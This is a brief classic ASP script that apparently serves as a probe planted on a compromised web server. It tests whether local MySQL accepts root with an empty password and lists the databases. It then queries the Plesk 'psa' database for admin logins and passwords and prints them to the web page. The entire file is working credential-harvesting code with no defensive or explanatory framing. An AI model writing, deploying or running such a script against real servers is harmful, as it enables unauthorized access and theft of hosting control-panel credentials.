<% On Error Resume Next Dim cn, rs, out out = "" ' Test MySQL localhost Set cn = Server.CreateObject("ADODB.Connection") cn.Open "DRIVER={MySQL ODBC 8.0 ANSI Driver};SERVER=127.0.0.1;PORT=3306;UID=root;PWD=;" If Err.Number = 0 Then out = out & "[+] MySQL root:empty OK" & vbCrLf Set rs = cn.Execute("SHOW DATABASES") Do While Not rs.EOF : out = out & rs(0) & vbCrLf : rs.MoveNext : Loop cn.Close Else out = out & "[-] MySQL root:empty: " & Err.Description & vbCrLf End If Err.Clear ' Test Plesk psa database Set cn = Server.CreateObject("ADODB.Connection") cn.Open "DRIVER={MySQL ODBC 8.0 ANSI Driver};SERVER=127.0.0.1;PORT=3306;DATABASE=psa;UID=root;PWD=;" If Err.Number = 0 Then out = out & "[+] PSA DB accessible" & vbCrLf Set rs = cn.Execute("SELECT login,password FROM admin") Do While Not rs.EOF : out = out & "ADMIN: " & rs(0) & ":" & rs(1) & vbCrLf : rs.MoveNext : Loop cn.Close End If Err.Clear Response.Write "

" & out & "

" %>